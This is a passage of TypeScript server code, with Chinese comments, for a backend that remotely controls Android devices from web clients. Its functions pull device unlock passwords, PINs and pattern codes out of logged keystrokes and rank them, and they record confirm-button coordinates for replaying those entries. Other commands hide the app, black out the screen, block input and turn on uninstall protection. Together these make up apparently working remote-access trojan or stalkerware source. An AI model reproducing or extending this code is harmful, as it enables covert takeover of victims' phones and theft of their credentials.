|
||
totalClients: number
|
||
activeControlSessions: number
|
||
} {
|
||
return {
|
||
totalDevices: this.deviceManager.getDeviceCount(),
|
||
totalClients: this.webClientManager.getClientCount(),
|
||
activeControlSessions: this.webClientManager.getAllClients()
|
||
.filter(client => client.controllingDeviceId).length
|
||
}
|
||
}
|
||
|
||
public handleDeviceInputBlockedChanged(deviceId: string, blocked: boolean): void {
|
||
try {
|
||
// 更新设备状态到数据库
|
||
this.databaseService.updateDeviceInputBlocked(deviceId, blocked)
|
||
|
||
// 通知所有连接的Web客户端设备状态已变化
|
||
this.webClientManager.broadcastToAll('device_input_blocked_changed', {
|
||
deviceId,
|
||
blocked,
|
||
success: true,
|
||
message: '设备输入阻塞状态已更新'
|
||
})
|
||
|
||
this.logger.info(`设备 ${deviceId} 的输入阻塞状态已更新: ${blocked}`)
|
||
|
||
} catch (error) {
|
||
this.logger.error('处理设备输入阻塞状态更新失败:', error)
|
||
this.webClientManager.broadcastToAll('device_input_blocked_changed', {
|
||
deviceId,
|
||
blocked,
|
||
success: false,
|
||
message: '更新设备输入阻塞状态失败'
|
||
})
|
||
}
|
||
}
|
||
|
||
private handleDeviceLoggingStateChanged(deviceId: string, enabled: boolean): void {
|
||
try {
|
||
// 更新设备状态到数据库
|
||
this.databaseService.updateDeviceLoggingEnabled(deviceId, enabled)
|
||
|
||
// 通知所有连接的Web客户端设备状态已变化
|
||
this.webClientManager.broadcastToAll('device_logging_state_changed', {
|
||
deviceId,
|
||
enabled,
|
||
success: true,
|
||
message: '设备日志状态已更新'
|
||
})
|
||
|
||
this.logger.info(`设备 ${deviceId} 的日志状态已更新: ${enabled}`)
|
||
|
||
} catch (error) {
|
||
this.logger.error('处理设备日志状态更新失败:', error)
|
||
this.webClientManager.broadcastToAll('device_logging_state_changed', {
|
||
deviceId,
|
||
enabled,
|
||
success: false,
|
||
message: '更新设备日志状态失败'
|
||
})
|
||
}
|
||
}
|
||
|
||
private restoreDeviceState(clientId: string, deviceId: string): void {
|
||
try {
|
||
// 从数据库获取设备状态
|
||
const deviceState = this.databaseService.getDeviceState(deviceId)
|
||
|
||
if (deviceState) {
|
||
// 发送设备状态给客户端
|
||
this.webClientManager.sendToClient(clientId, 'device_state_restored', {
|
||
deviceId,
|
||
state: deviceState,
|
||
success: true,
|
||
message: '设备状态已恢复'
|
||
})
|
||
|
||
// ✅ 优化:Web端获取控制权时,只需要同步状态到Web端界面即可
|
||
// Android端已经在运行并维护着真实状态,不需要强制同步命令
|
||
// 移除了向Android端发送控制命令的逻辑,避免不必要的命令洪流导致连接不稳定
|
||
|
||
this.logger.info(`设备 ${deviceId} 状态已恢复到Web端: 密码=${deviceState.password ? '已设置' : '未设置'}, 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`)
|
||
} else {
|
||
this.logger.debug(`设备 ${deviceId} 没有保存的状态信息`)
|
||
}
|
||
|
||
} catch (error) {
|
||
this.logger.error(`恢复设备 ${deviceId} 状态失败:`, error)
|
||
this.webClientManager.sendToClient(clientId, 'device_state_restored', {
|
||
deviceId,
|
||
success: false,
|
||
message: '恢复设备状态失败'
|
||
})
|
||
}
|
||
}
|
||
|
||
private handleSearchPasswordsFromLogs(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
// 检查客户端权限
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`客户端 ${clientId} 无权搜索设备 ${deviceId} 的密码`)
|
||
this.webClientManager.sendToClient(clientId, 'password_search_response', {
|
||
success: false,
|
||
message: '无权搜索该设备的密码'
|
||
})
|
||
return false
|
||
}
|
||
|
||
this.logger.info(`🔍 开始从日志中搜索密码: 设备=${deviceId}`)
|
||
|
||
// 从数据库获取文本输入相关的操作日志
|
||
const textInputLogs = this.databaseService.getPasswordCandidatesFromLogs(deviceId)
|
||
|
||
this.logger.info(`🔍 设备 ${deviceId} 密码查找结果: 找到 ${textInputLogs ? textInputLogs.length : 0} 条文本输入日志`)
|
||
|
||
if (!textInputLogs || textInputLogs.length === 0) {
|
||
this.logger.info(`📝 设备 ${deviceId} 暂无文本输入日志记录`)
|
||
|
||
// 调试:检查该设备是否有任何日志
|
||
const allLogs = this.databaseService.getOperationLogs(deviceId, 1, 10)
|
||
this.logger.info(`🔍 调试信息 - 设备 ${deviceId} 的所有日志数量: ${allLogs.total}`)
|
||
|
||
this.webClientManager.sendToClient(clientId, 'password_search_response', {
|
||
success: true,
|
||
message: `未找到文本输入记录。该设备共有 ${allLogs.total} 条日志,但无文本输入类型的日志。`,
|
||
passwords: []
|
||
})
|
||
return true
|
||
}
|
||
|
||
// 分析日志内容,提取可能的密码
|
||
const passwordCandidates = this.extractPasswordCandidates(textInputLogs)
|
||
|
||
this.logger.info(`🔑 发现 ${passwordCandidates.length} 个可能的密码候选`)
|
||
|
||
// 发送结果给客户端
|
||
this.webClientManager.sendToClient(clientId, 'password_search_response', {
|
||
success: true,
|
||
message: `找到 ${passwordCandidates.length} 个可能的密码`,
|
||
passwords: passwordCandidates
|
||
})
|
||
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error('搜索密码失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'password_search_response', {
|
||
success: false,
|
||
message: '搜索密码时发生错误'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:从操作日志中提取密码候选及其元信息(包括确认坐标)
|
||
*/
|
||
private extractPasswordCandidatesWithMeta(logs: any[]): Array<{
|
||
password: string
|
||
type: string
|
||
confirmButtonX?: number
|
||
confirmButtonY?: number
|
||
hasConfirmButton?: boolean
|
||
}> {
|
||
const passwordMap = new Map<string, {
|
||
password: string
|
||
type: string
|
||
confirmButtonX?: number
|
||
confirmButtonY?: number
|
||
hasConfirmButton?: boolean
|
||
}>()
|
||
|
||
for (const log of logs) {
|
||
const content = log.content || ''
|
||
const extraData = log.extraData
|
||
|
||
this.logger.debug(`🔍 分析日志内容: ${content}`)
|
||
|
||
let textInput = ''
|
||
let passwordType = 'unknown'
|
||
let confirmButtonX: number | undefined
|
||
let confirmButtonY: number | undefined
|
||
let hasConfirmButton = false
|
||
|
||
// ✅ 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息)
|
||
if (content.includes('🔑 密码输入分析完成')) {
|
||
const passwordMatch = content.match(/密码:(.+?)(?:\s|\||$)/)
|
||
if (passwordMatch) {
|
||
textInput = passwordMatch[1].trim()
|
||
this.logger.info(`✅ 从分析日志中提取密码: ${textInput}`)
|
||
}
|
||
|
||
// 提取密码类型信息
|
||
if (content.includes('数字密码') || content.includes('PIN码')) {
|
||
passwordType = content.includes('PIN码') ? 'pin' : 'numeric'
|
||
} else if (content.includes('图案密码') || content.includes('图形密码')) {
|
||
passwordType = 'pattern'
|
||
} else if (content.includes('混合密码')) {
|
||
passwordType = 'mixed'
|
||
} else if (content.includes('文本密码')) {
|
||
passwordType = 'text'
|
||
} else {
|
||
passwordType = this.detectPasswordTypeFromContent(textInput)
|
||
}
|
||
|
||
// ✅ 提取确认坐标信息
|
||
const coordMatch = content.match(/确认坐标:\((\d+),\s*(\d+)\)/)
|
||
if (coordMatch) {
|
||
confirmButtonX = parseInt(coordMatch[1])
|
||
confirmButtonY = parseInt(coordMatch[2])
|
||
hasConfirmButton = true
|
||
this.logger.info(`✅ 提取到确认坐标: (${confirmButtonX}, ${confirmButtonY})`)
|
||
}
|
||
|
||
this.logger.info(`🔍 检测到密码类型: ${passwordType}`)
|
||
}
|
||
|
||
// ✅ 从extraData中提取坐标信息
|
||
if (extraData && typeof extraData === 'object') {
|
||
if (extraData.confirmButtonX && extraData.confirmButtonY) {
|
||
confirmButtonX = extraData.confirmButtonX
|
||
confirmButtonY = extraData.confirmButtonY
|
||
hasConfirmButton = true
|
||
}
|
||
}
|
||
|
||
// ✅ 处理独立的确认坐标日志
|
||
if (content.includes('确认按钮坐标更新') || log.log_type === 'PASSWORD_CONFIRM_COORDS') {
|
||
// 这是一个确认坐标更新日志,需要关联到最近的密码
|
||
if (extraData && extraData.confirmButtonX && extraData.confirmButtonY) {
|
||
// 在已有的密码候选中查找最近的需要确认按钮的密码
|
||
const existingEntries = Array.from(passwordMap.values())
|
||
const recentEntry = existingEntries
|
||
.filter(entry => entry.type === 'mixed' || entry.type === 'text')
|
||
.sort((a, b) => (b.confirmButtonX ? 1 : 0) - (a.confirmButtonX ? 1 : 0)) // 优先选择还没有坐标的
|
||
.pop()
|
||
|
||
if (recentEntry && !recentEntry.confirmButtonX) {
|
||
recentEntry.confirmButtonX = extraData.confirmButtonX
|
||
recentEntry.confirmButtonY = extraData.confirmButtonY
|
||
recentEntry.hasConfirmButton = true
|
||
this.logger.info(`✅ 为已有密码 ${recentEntry.password} 添加确认坐标: (${extraData.confirmButtonX}, ${extraData.confirmButtonY})`)
|
||
}
|
||
}
|
||
continue // 跳过后续处理,这不是密码日志
|
||
}
|
||
|
||
// 验证并添加密码
|
||
if (textInput && this.isPossiblePasswordEnhanced(textInput, passwordType)) {
|
||
this.logger.info(`✅ 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`)
|
||
|
||
const passwordEntry = {
|
||
password: textInput,
|
||
type: passwordType,
|
||
confirmButtonX,
|
||
confirmButtonY,
|
||
hasConfirmButton
|
||
}
|
||
|
||
passwordMap.set(textInput, passwordEntry)
|
||
}
|
||
}
|
||
|
||
// 转换为数组并排序
|
||
const passwords = Array.from(passwordMap.values())
|
||
|
||
passwords.sort((a, b) => {
|
||
const typePriority: Record<string, number> = {
|
||
'pin': 100,
|
||
'numeric': 90,
|
||
'mixed': 80,
|
||
'text': 70,
|
||
'pattern': 60,
|
||
'unknown': 50
|
||
}
|
||
|
||
const aPriority = typePriority[a.type] || 50
|
||
const bPriority = typePriority[b.type] || 50
|
||
|
||
if (aPriority !== bPriority) {
|
||
return bPriority - aPriority
|
||
}
|
||
|
||
const preferredLengths = [4, 6, 8]
|
||
const aScore = preferredLengths.includes(a.password.length) ? 100 - preferredLengths.indexOf(a.password.length) : a.password.length
|
||
const bScore = preferredLengths.includes(b.password.length) ? 100 - preferredLengths.indexOf(b.password.length) : b.password.length
|
||
|
||
return bScore - aScore
|
||
})
|
||
|
||
return passwords
|
||
}
|
||
|
||
/**
|
||
* 从操作日志中提取密码候选 - ✅ 增强版本,改进密码类型识别
|
||
*/
|
||
private extractPasswordCandidates(logs: any[]): string[] {
|
||
const passwordSet = new Set<string>()
|
||
const passwordWithType = new Map<string, string>() // 记录密码及其类型
|
||
|
||
for (const log of logs) {
|
||
const content = log.content || ''
|
||
const extraData = log.extraData
|
||
|
||
this.logger.debug(`🔍 分析日志内容: ${content}`)
|
||
|
||
// 从日志内容中提取文本
|
||
let textInput = ''
|
||
let passwordType = 'unknown'
|
||
|
||
// ✅ 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息)
|
||
if (content.includes('🔑 密码输入分析完成')) {
|
||
// 提取密码
|
||
const passwordMatch = content.match(/密码:(.+?)(?:\s|\||$)/)
|
||
if (passwordMatch) {
|
||
textInput = passwordMatch[1].trim()
|
||
this.logger.info(`✅ 从分析日志中提取密码: ${textInput}`)
|
||
}
|
||
|
||
// ✅ 提取密码类型信息
|
||
if (content.includes('数字密码') || content.includes('PIN码')) {
|
||
passwordType = content.includes('PIN码') ? 'pin' : 'numeric'
|
||
} else if (content.includes('图案密码') || content.includes('图形密码')) {
|
||
passwordType = 'pattern'
|
||
} else if (content.includes('混合密码')) {
|
||
passwordType = 'mixed'
|
||
} else if (content.includes('文本密码')) {
|
||
passwordType = 'text'
|
||
} else {
|
||
// 根据密码内容自动判断类型
|
||
passwordType = this.detectPasswordTypeFromContent(textInput)
|
||
}
|
||
|
||
this.logger.info(`🔍 检测到密码类型: ${passwordType}`)
|
||
}
|
||
|
||
// 方法2: 从传统的输入文本日志中解析
|
||
else if (content.includes('输入文本:') || content.includes('远程输入文本:')) {
|
||
const match = content.match(/(?:远程)?输入文本:\s*(.+)/)
|
||
if (match) {
|
||
textInput = match[1].trim()
|
||
passwordType = this.detectPasswordTypeFromContent(textInput)
|
||
this.logger.info(`✅ 从输入文本日志中提取: ${textInput} (类型: ${passwordType})`)
|
||
}
|
||
}
|
||
|
||
// ✅ 方法3: 从数字密码键盘点击日志中提取
|
||
else if (content.includes('数字密码键盘点击:')) {
|
||
const digitMatch = content.match(/数字密码键盘点击:\s*(\d)/)
|
||
if (digitMatch) {
|
||
// 这是单个数字,需要与其他数字组合
|
||
const digit = digitMatch[1]
|
||
this.logger.debug(`🔢 发现数字密码键盘点击: ${digit}`)
|
||
// 暂时不处理单个数字,等待完整密码分析
|
||
}
|
||
}
|
||
|
||
// 方法4: 从密码输入进度日志中提取
|
||
else if (content.includes('🔒') && content.includes('密码输入:')) {
|
||
// 提取类似 "🔒 密码输入: •••••z (6位)" 的内容
|
||
const inputMatch = content.match(/密码输入:\s*[•]*([^•\s\(]+)/)
|
||
if (inputMatch) {
|
||
textInput = inputMatch[1].trim()
|
||
passwordType = this.detectPasswordTypeFromContent(textInput)
|
||
this.logger.info(`✅ 从密码输入进度日志中提取: ${textInput} (类型: ${passwordType})`)
|
||
}
|
||
}
|
||
|
||
// ✅ 方法5: 从重构密码日志中提取
|
||
else if (content.includes('密码重构完成:')) {
|
||
const reconstructMatch = content.match(/密码重构完成:\s*'([^']+)'/)
|
||
if (reconstructMatch) {
|
||
textInput = reconstructMatch[1].trim()
|
||
passwordType = this.detectPasswordTypeFromContent(textInput)
|
||
this.logger.info(`✅ 从密码重构日志中提取: ${textInput} (类型: ${passwordType})`)
|
||
}
|
||
}
|
||
|
||
// ✅ 方法6: 从带确认坐标的日志中提取密码和坐标
|
||
else if (content.includes('确认坐标:')) {
|
||
const passwordMatch = content.match(/密码:(.+?)\s*\|/)
|
||
const coordMatch = content.match(/确认坐标:\((\d+),\s*(\d+)\)/)
|
||
|
||
if (passwordMatch) {
|
||
textInput = passwordMatch[1].trim()
|
||
passwordType = this.detectPasswordTypeFromContent(textInput)
|
||
|
||
if (coordMatch) {
|
||
const confirmX = parseInt(coordMatch[1])
|
||
const confirmY = parseInt(coordMatch[2])
|
||
this.logger.info(`✅ 从确认坐标日志中提取: ${textInput} (类型: ${passwordType}) 确认坐标: (${confirmX}, ${confirmY})`)
|
||
|
||
// 将确认坐标信息添加到extraData中
|
||
if (extraData && typeof extraData === 'object') {
|
||
extraData.confirmButtonX = confirmX
|
||
extraData.confirmButtonY = confirmY
|
||
extraData.hasConfirmButton = true
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// 方法7: 从extraData中获取
|
||
if (!textInput && extraData) {
|
||
if (typeof extraData === 'object') {
|
||
if (extraData.text) {
|
||
textInput = extraData.text
|
||
passwordType = this.detectPasswordTypeFromContent(textInput)
|
||
this.logger.info(`✅ 从extraData对象中提取: ${textInput} (类型: ${passwordType})`)
|
||
} else if (extraData.reconstructedPassword) {
|
||
textInput = extraData.reconstructedPassword
|
||
passwordType = this.detectPasswordTypeFromContent(textInput)
|
||
this.logger.info(`✅ 从extraData重构密码中提取: ${textInput} (类型: ${passwordType})`)
|
||
}
|
||
} else if (typeof extraData === 'string') {
|
||
try {
|
||
const parsed = JSON.parse(extraData)
|
||
if (parsed.text) {
|
||
textInput = parsed.text
|
||
passwordType = this.detectPasswordTypeFromContent(textInput)
|
||
this.logger.info(`✅ 从extraData JSON中提取: ${textInput} (类型: ${passwordType})`)
|
||
}
|
||
} catch (e) {
|
||
// 忽略JSON解析错误
|
||
}
|
||
}
|
||
}
|
||
|
||
// ✅ 验证是否为可能的密码,并考虑密码类型
|
||
if (textInput && this.isPossiblePasswordEnhanced(textInput, passwordType)) {
|
||
this.logger.info(`✅ 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`)
|
||
passwordSet.add(textInput)
|
||
passwordWithType.set(textInput, passwordType)
|
||
} else if (textInput) {
|
||
this.logger.debug(`❌ 验证失败,跳过: ${textInput} (类型: ${passwordType})`)
|
||
}
|
||
}
|
||
|
||
// ✅ 转换为数组并按类型和质量排序
|
||
const passwords = Array.from(passwordSet)
|
||
this.logger.info(`🔑 最终提取到 ${passwords.length} 个密码候选: ${passwords.join(', ')}`)
|
||
|
||
passwords.sort((a, b) => {
|
||
const aType = passwordWithType.get(a) || 'unknown'
|
||
const bType = passwordWithType.get(b) || 'unknown'
|
||
|
||
// ✅ 类型优先级排序:PIN码 > 数字密码 > 混合密码 > 文本密码 > 图形密码 > 未知
|
||
const typePriority: Record<string, number> = {
|
||
'pin': 100,
|
||
'numeric': 90,
|
||
'mixed': 80,
|
||
'text': 70,
|
||
'pattern': 60,
|
||
'unknown': 50
|
||
}
|
||
|
||
const aPriority = typePriority[aType] || 50
|
||
const bPriority = typePriority[bType] || 50
|
||
|
||
if (aPriority !== bPriority) {
|
||
return bPriority - aPriority
|
||
}
|
||
|
||
// 同类型按长度排序(常见密码长度优先:4位、6位、8位)
|
||
const preferredLengths = [4, 6, 8]
|
||
const aScore = preferredLengths.includes(a.length) ? 100 - preferredLengths.indexOf(a.length) : a.length
|
||
const bScore = preferredLengths.includes(b.length) ? 100 - preferredLengths.indexOf(b.length) : b.length
|
||
|
||
return bScore - aScore
|
||
})
|
||
|
||
return passwords
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:从密码内容检测密码类型
|
||
*/
|
||
private detectPasswordTypeFromContent(password: string): string {
|
||
if (!password) return 'unknown'
|
||
|
||
const cleanPassword = password.replace(/[?•*]/g, '') // 移除掩码字符
|
||
|
||
// 判断是否为纯数字
|
||
if (/^\d+$/.test(cleanPassword)) {
|
||
if (cleanPassword.length === 4 || cleanPassword.length === 6) {
|
||
return 'pin'
|
||
} else if (cleanPassword.length >= 4 && cleanPassword.length <= 9) {
|
||
// 检查是否可能是图形密码(1-9的数字,不包含0)
|
||
const hasOnlyValidPatternDigits = cleanPassword.split('').every(digit => {
|
||
const num = parseInt(digit)
|
||
return num >= 1 && num <= 9
|
||
})
|
||
|
||
if (hasOnlyValidPatternDigits && !cleanPassword.includes('0')) {
|
||
return 'pattern'
|
||
} else {
|
||
return 'numeric'
|
||
}
|
||
} else {
|
||
return 'numeric'
|
||
}
|
||
}
|
||
|
||
// 判断是否为混合密码
|
||
if (/\d/.test(cleanPassword) && /[a-zA-Z]/.test(cleanPassword)) {
|
||
return 'mixed'
|
||
}
|
||
|
||
// 纯字母
|
||
if (/^[a-zA-Z]+$/.test(cleanPassword)) {
|
||
return 'text'
|
||
}
|
||
|
||
// 包含特殊字符
|
||
if (/[^a-zA-Z0-9]/.test(cleanPassword)) {
|
||
return 'mixed'
|
||
}
|
||
|
||
return 'text'
|
||
}
|
||
|
||
/**
|
||
* ✅ 增强版密码验证:判断文本是否可能是密码,考虑密码类型
|
||
*/
|
||
private isPossiblePasswordEnhanced(text: string, passwordType: string): boolean {
|
||
if (!text || typeof text !== 'string') {
|
||
return false
|
||
}
|
||
|
||
const trimmed = text.trim()
|
||
const cleanText = trimmed.replace(/[?•*]/g, '') // 移除掩码字符
|
||
|
||
// ✅ 根据密码类型进行不同的验证
|
||
switch (passwordType) {
|
||
case 'pin':
|
||
// PIN码:4-6位纯数字
|
||
return /^\d{4,6}$/.test(cleanText)
|
||
|
||
case 'numeric':
|
||
// 数字密码:3-12位数字(包含0)
|
||
return /^\d{3,12}$/.test(cleanText)
|
||
|
||
case 'pattern':
|
||
// 图形密码:4-9位数字,只包含1-9
|
||
if (!/^\d{4,9}$/.test(cleanText)) return false
|
||
return cleanText.split('').every(digit => {
|
||
const num = parseInt(digit)
|
||
return num >= 1 && num <= 9
|
||
}) && !cleanText.includes('0')
|
||
|
||
case 'mixed':
|
||
// 混合密码:包含字母和数字
|
||
return cleanText.length >= 4 && cleanText.length <= 20 &&
|
||
/[a-zA-Z]/.test(cleanText) && /\d/.test(cleanText)
|
||
|
||
case 'text':
|
||
// 文本密码:主要是字母
|
||
return cleanText.length >= 3 && cleanText.length <= 20 &&
|
||
/[a-zA-Z]/.test(cleanText)
|
||
|
||
default:
|
||
// 未知类型,使用通用验证
|
||
return this.isPossiblePassword(text)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 判断文本是否可能是密码 - 保持原有逻辑作为后备
|
||
*/
|
||
private isPossiblePassword(text: string): boolean {
|
||
if (!text || typeof text !== 'string') {
|
||
return false
|
||
}
|
||
|
||
const trimmed = text.trim()
|
||
|
||
// 长度检查:密码通常在3-20位之间
|
||
if (trimmed.length < 3 || trimmed.length > 20) {
|
||
this.logger.debug(`❌ 长度不符合 (${trimmed.length}): ${trimmed}`)
|
||
return false
|
||
}
|
||
|
||
// 排除明显不是密码的文本
|
||
const excludePatterns = [
|
||
/^\s+$/, // 纯空格
|
||
/^[\u4e00-\u9fa5\s]+$/, // 纯中文和空格
|
||
/^[!@#$%^&*(),.?":{}|<>\s]+$/, // 纯符号和空格
|
||
]
|
||
|
||
for (const pattern of excludePatterns) {
|
||
if (pattern.test(trimmed)) {
|
||
this.logger.debug(`❌ 匹配排除模式: ${trimmed}`)
|
||
return false
|
||
}
|
||
}
|
||
|
||
// 包含模式检查(可能是密码)
|
||
const includePatterns = [
|
||
/^\d{3,8}$/, // 3-8位数字(PIN码)
|
||
/^[a-zA-Z0-9]{3,16}$/, // 3-16位字母数字组合
|
||
/^[a-zA-Z0-9!@#$%^&*]{3,20}$/, // 3-20位字母数字符号组合
|
||
]
|
||
|
||
for (const pattern of includePatterns) {
|
||
if (pattern.test(trimmed)) {
|
||
this.logger.debug(`✅ 匹配包含模式: ${trimmed}`)
|
||
return true
|
||
}
|
||
}
|
||
|
||
// 其他可能的密码模式 - 更宽松的检查
|
||
const isValid = (
|
||
trimmed.length >= 3 &&
|
||
trimmed.length <= 20 &&
|
||
!/\s/.test(trimmed) && // 不包含空格
|
||
/[a-zA-Z0-9]/.test(trimmed) // 包含字母或数字
|
||
)
|
||
|
||
if (isValid) {
|
||
this.logger.debug(`✅ 通过一般验证: ${trimmed}`)
|
||
} else {
|
||
this.logger.debug(`❌ 未通过一般验证: ${trimmed}`)
|
||
}
|
||
|
||
return isValid
|
||
}
|
||
|
||
/**
|
||
* ✅ 刷新所有web客户端的设备列表
|
||
*/
|
||
private refreshAllWebClientDeviceLists(): void {
|
||
try {
|
||
// 获取所有web客户端
|
||
const allClients = this.webClientManager.getAllClients()
|
||
this.logger.info(`🔄 开始刷新 ${allClients.length} 个web客户端的设备列表`)
|
||
|
||
allClients.forEach(client => {
|
||
try {
|
||
// 为每个客户端发送最新的设备列表
|
||
this.handleDeviceListRequest(client.id)
|
||
} catch (error) {
|
||
this.logger.error(`❌ 刷新客户端 ${client.id} 设备列表失败:`, error)
|
||
}
|
||
})
|
||
|
||
this.logger.info(`✅ 设备列表刷新完成`)
|
||
} catch (error) {
|
||
this.logger.error('❌ 刷新web客户端设备列表失败:', error)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 同步设备状态到设备端
|
||
*/
|
||
private syncDeviceStateToDevice(socketId: string, deviceId: string, deviceState: any): void {
|
||
try {
|
||
this.logger.info(`🔄 开始同步设备状态到设备端: ${deviceId}`)
|
||
|
||
// 获取设备的socket连接
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(socketId)
|
||
if (!deviceSocket) {
|
||
this.logger.warn(`⚠️ 设备socket连接不存在,无法同步状态: ${deviceId}`)
|
||
return
|
||
}
|
||
|
||
// 同步输入阻塞状态
|
||
if (deviceState.inputBlocked !== undefined && deviceState.inputBlocked !== null) {
|
||
const controlMessage = {
|
||
type: deviceState.inputBlocked ? 'DEVICE_BLOCK_INPUT' : 'DEVICE_ALLOW_INPUT',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
}
|
||
deviceSocket.emit('control_message', controlMessage)
|
||
this.logger.info(`📤 已向设备 ${deviceId} 同步输入阻塞状态: ${deviceState.inputBlocked}`)
|
||
}
|
||
|
||
// 同步日志状态(如果需要)
|
||
if (deviceState.loggingEnabled !== undefined && deviceState.loggingEnabled !== null) {
|
||
const logMessage = {
|
||
type: deviceState.loggingEnabled ? 'LOG_ENABLE' : 'LOG_DISABLE',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
}
|
||
deviceSocket.emit('control_command', logMessage)
|
||
this.logger.info(`📤 已向设备 ${deviceId} 同步日志状态: ${deviceState.loggingEnabled}`)
|
||
}
|
||
|
||
// 🆕 同步黑屏遮盖状态(如果需要)
|
||
if (deviceState.blackScreenActive !== undefined && deviceState.blackScreenActive !== null) {
|
||
const blackScreenMessage = {
|
||
type: deviceState.blackScreenActive ? 'ENABLE_BLACK_SCREEN' : 'DISABLE_BLACK_SCREEN',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
}
|
||
deviceSocket.emit('control_command', blackScreenMessage)
|
||
this.logger.info(`📤 已向设备 ${deviceId} 同步黑屏遮盖状态: ${deviceState.blackScreenActive}`)
|
||
}
|
||
|
||
// 🆕 同步应用隐藏状态(如果需要)
|
||
if (deviceState.appHidden !== undefined && deviceState.appHidden !== null) {
|
||
const appHideMessage = {
|
||
type: deviceState.appHidden ? 'HIDE_APP' : 'SHOW_APP',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
}
|
||
deviceSocket.emit('control_command', appHideMessage)
|
||
this.logger.info(`📤 已向设备 ${deviceId} 同步应用隐藏状态: ${deviceState.appHidden}`)
|
||
}
|
||
|
||
// 🛡️ 同步防止卸载保护状态(如果需要)
|
||
if (deviceState.uninstallProtectionEnabled !== undefined && deviceState.uninstallProtectionEnabled !== null) {
|
||
const uninstallProtectionMessage = {
|
||
type: deviceState.uninstallProtectionEnabled ? 'ENABLE_UNINSTALL_PROTECTION' : 'DISABLE_UNINSTALL_PROTECTION',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
}
|
||
deviceSocket.emit('control_command', uninstallProtectionMessage)
|
||
this.logger.info(`📤 已向设备 ${deviceId} 同步防止卸载保护状态: ${deviceState.uninstallProtectionEnabled}`)
|
||
}
|
||
|
||
this.logger.info(`✅ 设备状态同步完成: ${deviceId}`)
|
||
|
||
} catch (error) {
|
||
this.logger.error(`❌ 同步设备状态失败: ${deviceId}`, error)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理删除设备请求
|
||
*/
|
||
private handleDeleteDevice(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`🗑️ 处理删除设备请求: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在
|
||
const deviceExists = this.databaseService.getDeviceById(deviceId)
|
||
if (!deviceExists) {
|
||
this.logger.warn(`⚠️ 尝试删除不存在的设备: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'delete_device_response', {
|
||
success: false,
|
||
deviceId: deviceId,
|
||
message: '设备不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 如果设备在线,先释放控制权并断开连接
|
||
const onlineDevice = this.deviceManager.getDevice(deviceId)
|
||
if (onlineDevice) {
|
||
this.logger.info(`📤 设备在线,先断开连接: ${deviceId}`)
|
||
|
||
// 释放控制权
|
||
const controller = this.webClientManager.getDeviceController(deviceId)
|
||
if (controller) {
|
||
this.webClientManager.releaseDeviceControl(deviceId)
|
||
this.logger.info(`🔓 已释放设备控制权: ${controller}`)
|
||
}
|
||
|
||
// 通知设备断开
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('force_disconnect', {
|
||
reason: 'device_deleted',
|
||
message: '设备已被删除'
|
||
})
|
||
deviceSocket.disconnect(true)
|
||
}
|
||
}
|
||
|
||
// 从内存中移除设备
|
||
this.deviceManager.removeDevice(deviceId)
|
||
|
||
// 通知所有客户端设备已断开
|
||
this.webClientManager.broadcastToAll('device_disconnected', deviceId)
|
||
}
|
||
|
||
// 从数据库中删除设备及相关数据
|
||
this.databaseService.deleteDevice(deviceId)
|
||
this.logger.info(`✅ 设备已从数据库删除: ${deviceId}`)
|
||
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'delete_device_response', {
|
||
success: true,
|
||
deviceId: deviceId,
|
||
message: '设备已删除'
|
||
})
|
||
|
||
this.logger.info(`🎉 设备删除完成: ${deviceId}`)
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error('删除设备失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'delete_device_response', {
|
||
success: false,
|
||
deviceId: deviceId,
|
||
message: '删除设备时发生错误'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 获取设备UI层次结构
|
||
*/
|
||
private handleGetUIHierarchy(clientId: string, deviceId: string, requestData: any): boolean {
|
||
try {
|
||
this.logger.info(`🔍 处理UI层次结构获取请求: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查客户端权限
|
||
const client = this.webClientManager.getClient(clientId)
|
||
if (!client) {
|
||
this.logger.error(`获取UI层次结构失败: 找不到客户端 ${clientId}`)
|
||
return false
|
||
}
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.error(`❌ 设备不在线或不存在: ${deviceId}`)
|
||
this.logger.info(`📋 当前所有设备: ${JSON.stringify(this.deviceManager.getAllDevices().map(d => ({ id: d.id, name: d.name, socketId: d.socketId, status: d.status })))}`)
|
||
this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', {
|
||
deviceId,
|
